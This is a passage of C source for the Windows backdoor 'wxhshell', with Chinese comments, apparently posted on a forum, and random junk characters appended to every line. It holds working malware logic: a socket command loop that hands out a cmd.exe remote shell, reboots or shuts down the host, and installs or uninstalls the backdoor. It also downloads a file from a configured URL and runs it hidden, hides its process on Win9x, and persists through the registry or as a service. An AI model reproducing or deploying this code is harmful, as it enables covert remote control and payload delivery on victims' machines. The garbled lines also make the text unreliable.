  I T*fjUY&  
  // 帮助 S#dyRTmI  
  case '?': { , I[^3Fn  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 27h/6i3  
    break; [+ %p!T  
  } a(Gk~vD;"  
  // 安装 ]=$-B  
  case 'i': { pHI%jHHJ  
    if(Install()) f)&`mqeE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r?Ev.m  
    else `~w%Jf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +^^S'mP8  
    break; b&hF')_UOz  
    } UiGUaBmF*  
  // 卸载 TE*>a5C|  
  case 'r': { {GGO')p  
    if(Uninstall()) Y\Fuj)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5n|MA  
    else ^L*VW gi9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1A,4 Aw<  
    break; hEdo,gF*  
    } Ymrpf  
  // 显示 wxhshell 所在路径 n:}MULy;  
  case 'p': { [*mCa:^  
    char svExeFile[MAX_PATH]; rsIt~w  
    strcpy(svExeFile,"\n\r"); i9#`F.7F  
      strcat(svExeFile,ExeFile); _js2^<7v}  
        send(wsh,svExeFile,strlen(svExeFile),0); D7Rbho<  
    break; a$ +e8>  
    } a9mr-`<  
  // 重启 T }8r;<P6  
  case 'b': { I&Eg-96@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  N#2nH1C  
    if(Boot(REBOOT)) PBP J/puW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #b]}cwd!  
    else { ;6\Ski0=l  
    closesocket(wsh); d-A%ZAkE]  
    ExitThread(0); AW{/k'%xw  
    } 1*x5/b  
    break; 2Wc;hJ.1  
    } 0X S' v,|  
  // 关机 z9uEOX&2\  
  case 'd': { Eo25ir%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Poylq] F  
    if(Boot(SHUTDOWN)) D@YM}HXuj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4`^TC[  
    else { {~B4F}ES  
    closesocket(wsh); TZ[F u{gZ  
    ExitThread(0); c'wU O3S  
    } 5.+$v4  
    break; *$WiJ3'(m  
    } `rOe5Zp$  
  // 获取shell ;M(ehX  
  case 's': { 6|(7G64{  
    CmdShell(wsh); _UbR8  
    closesocket(wsh);  onS{  
    ExitThread(0); `5~o=g  
    break; JzS^9) &  
  } EC\rh](d 1  
  // 退出 v#AO\zYKd  
  case 'x': { T_;G))q'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wtgO;w  
    CloseIt(wsh); \`<s@U  
    break; Liz 6ob  
    } 8xGkh?%  
  // 离开 TTw~.x,  
  case 'q': {  }@Ll!,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A.'`FtV  
    closesocket(wsh); hTNYjXj  
    WSACleanup(); JY,l#?lM{  
    exit(1); ,R9f;BR  
    break; @_ tA"E  
        } D4x'  
  } |SJ% _#=i  
  } C*6bR? I9  
A_4\$NZ^  
  // 提示信息 *b7 ^s,?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oVj A$|  
} 1>O0Iu  
  } rj`.hXO  
uJAB)ti2I  
  return; v:;C|uE|  
} ,~68~_)  
  !AD,  
// shell模块句柄 x:D<Mu#  
int CmdShell(SOCKET sock) `&&6-/  
{ neMe<jr  
STARTUPINFO si; .q& ]wu  
ZeroMemory(&si,sizeof(si)); )F9%^a(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V1+o3g{}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EXM/>PG  
PROCESS_INFORMATION ProcessInfo; eVbh$cIrZ  
char cmdline[]="cmd"; :-jP8X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eC1c`@C:  
  return 0; EPUJa~4  
} [7t0[U~3?  
<a/ZOuBzZ  
// 自身启动模式 ;{)@ghD  
int StartFromService(void) l#(g&x6J  
{ ~'YSVx& )  
typedef struct I7-PF?  
{ w `9GygS  
  DWORD ExitStatus; t6U+a\-<  
  DWORD PebBaseAddress; 98%a)s)(a  
  DWORD AffinityMask; :ftyNaq'  
  DWORD BasePriority; L[9+xK^g  
  ULONG UniqueProcessId; f>JzG,-  
  ULONG InheritedFromUniqueProcessId; ki/Lf4  
}   PROCESS_BASIC_INFORMATION; fVe-esAw  
sC*E;7gT,  
PROCNTQSIP NtQueryInformationProcess; [}g5Z=l  
&cv /q$W4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N 7|W.(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "i5AAP?_]{  
kO\&mL& qD  
  HANDLE             hProcess; kTe<1^,m  
  PROCESS_BASIC_INFORMATION pbi; 'bqf?3W  
#cg@Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7!d<>_oH  
  if(NULL == hInst ) return 0; 6b 5{  
^L2Zo'y [  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ="PywZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hFF&(t2{^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0~I) /T  
}t{^*(  
  if (!NtQueryInformationProcess) return 0; !7Q.w/|=  
9"v ox   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JL*]9$o  
  if(!hProcess) return 0; O9 r44ww  
?Pf ,5=*B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |H I A[.q  
<@2?2l+`X  
  CloseHandle(hProcess); 78}%{7YY  
=:T:9Y_i  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,PtR^" Mf4  
if(hProcess==NULL) return 0; GTX&:5H\t  
(IWd?,H,n  
HMODULE hMod; e @MCumc~+  
char procName[255]; h-u*~5dB<&  
unsigned long cbNeeded; x-P_}}K 79  
R~ u7;Wv  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D}=i tu  
C]@B~X1H^  
  CloseHandle(hProcess); PDiorW}]k  
T%b^|="@  
if(strstr(procName,"services")) return 1; // 以服务启动 ]7ZC>.t  
6 v#sq  
  return 0; // 注册表启动 ':fbf7EL<  
} qdnNapWnc  
nFOG=>c}  
// 主模块 l%V}'6T  
int StartWxhshell(LPSTR lpCmdLine) X>YOo~yS5  
{ wH5O>4LO  
  SOCKET wsl; 206jeH9  
BOOL val=TRUE; _34YH5  
  int port=0; #k]0[;1os  
  struct sockaddr_in door; A.*nDl`H  
trA `l/  
  if(wscfg.ws_autoins) Install(); EG=>F1&M  
8TM=AV  
port=atoi(lpCmdLine); SVeU7Q6-  
^,r;/c9A8  
if(port<=0) port=wscfg.ws_port; NWX%0PGZ  
R3 =E?us!  
  WSADATA data; Pg}G4L?H;J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E<_6O Cz  
c8 fb)`,k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /60=N `i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .jU0Hu{F4  
  door.sin_family = AF_INET; !,WRXE&j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n_ gB#L$  
  door.sin_port = htons(port); gI$`d?[0{  
z?g4^0e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]nGA1S{  
closesocket(wsl); "s^@PzQpN  
return 1; ;^SgV   
} 3W00,f^9  
ijSYQ  
  if(listen(wsl,2) == INVALID_SOCKET) { Vc<n6  
closesocket(wsl); <GlV!y  
return 1; rW .0_*  
} 6:X\vw  
  Wxhshell(wsl); iC\=U  
  WSACleanup(); lJ2/xE]  
S;kc{?   
return 0; h(K4AiGE  
`qEm5+`  
} DEuW'.o>  
!KW)*  
// 以NT服务方式启动 z{_Vn(Kg   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  Ue Tp,  
{ ? =Qg  
DWORD   status = 0; clV/i&]Qa  
  DWORD   specificError = 0xfffffff; O  
gpl!Iz~5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cSWVHr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; CawVC*b3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y)5}bmL  
  serviceStatus.dwWin32ExitCode     = 0; &~i &~AJ  
  serviceStatus.dwServiceSpecificExitCode = 0; e;\c=J,eE  
  serviceStatus.dwCheckPoint       = 0; 09i[2n;O  
  serviceStatus.dwWaitHint       = 0; 7guxkN#  
Unk+@$E&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4H '&5  
  if (hServiceStatusHandle==0) return; %^A++Z$`  
ou4?`JF)-  
status = GetLastError(); 1@Gv`{v  
  if (status!=NO_ERROR) dg<fUQ  
{ $*> _0{<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |]^! 4[!U  
    serviceStatus.dwCheckPoint       = 0; \}c50}#0  
    serviceStatus.dwWaitHint       = 0; =,9'O/br  
    serviceStatus.dwWin32ExitCode     = status; nQMN2jM  
    serviceStatus.dwServiceSpecificExitCode = specificError; S}yb~uc,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g*9>z)  
    return; AX?6Q4Gq1  
  } C*zdHzMj  
s_Gp +-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .v!e=i}.  
  serviceStatus.dwCheckPoint       = 0; ;pYk+r6Cr  
  serviceStatus.dwWaitHint       = 0; qN(; l&Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G(e?]{(  
} (CwaO m{g  
/pEki g7M  
// 处理NT服务事件,比如:启动、停止 H2-(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {%dQV#'c  
{ 2j|Eh   
switch(fdwControl) ".=EAXVU  
{ v-@@>?W-  
case SERVICE_CONTROL_STOP: j$Co-b1  
  serviceStatus.dwWin32ExitCode = 0; p `Z7VG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 21Opx~T3  
  serviceStatus.dwCheckPoint   = 0; /GNYv*  
  serviceStatus.dwWaitHint     = 0; efm<bJB2  
  { 0cVXUTJ|W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K>~l6  
  } S6I8zk)Z4  
  return; MR: {Ps&,  
case SERVICE_CONTROL_PAUSE: C5?M/xj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Nq3P?I(<  
  break; 6=D;K.!  
case SERVICE_CONTROL_CONTINUE: 3._fbAN%e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0SYkDI  
  break; UNae&Zir  
case SERVICE_CONTROL_INTERROGATE: 2sH5<5G'  
  break; [0emOS  
}; 75ob1h"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1:8: yFV  
} 9IMcp~zX  
e)8iPu ..  
// 标准应用程序主函数 bv0 %{u&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I Cs1=  
{ vhW '2<(  
^W*/!q7H  
// 获取操作系统版本 N:.bnF(  
OsIsNt=GetOsVer(); 9yPB)&"EF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =T`-h"E~@  
XhiC'.B_  
  // 从命令行安装 kzT'  
  if(strpbrk(lpCmdLine,"iI")) Install(); * G4;  
X"sN~Q.0  
  // 下载执行文件 TM;)[R@  
if(wscfg.ws_downexe) { WfVie6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z^ 3Risi  
  WinExec(wscfg.ws_filenam,SW_HIDE); bC|~N0b  
} ?CC6/bE-{  
TMrmyvv  
if(!OsIsNt) {  '}=M~  
// 如果时win9x,隐藏进程并且设置为注册表启动 pOXEM1"2A  
HideProc(); W*2SlS7  
StartWxhshell(lpCmdLine); g& Rk}/F  
} fi)ypv*  
else $Z4p$o dk  
  if(StartFromService()) h kY E7  
  // 以服务方式启动 Fu$otMw%l  
  StartServiceCtrlDispatcher(DispatchTable); A [JV*Dt  
else RPu-E9g@  
  // 普通方式启动 `:&{/|uP7  
  StartWxhshell(lpCmdLine); YH9BJ  
KK}&4^q  
return 0; (46)v'?  
}
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只看该作者 1 发表于: 2006-10-10
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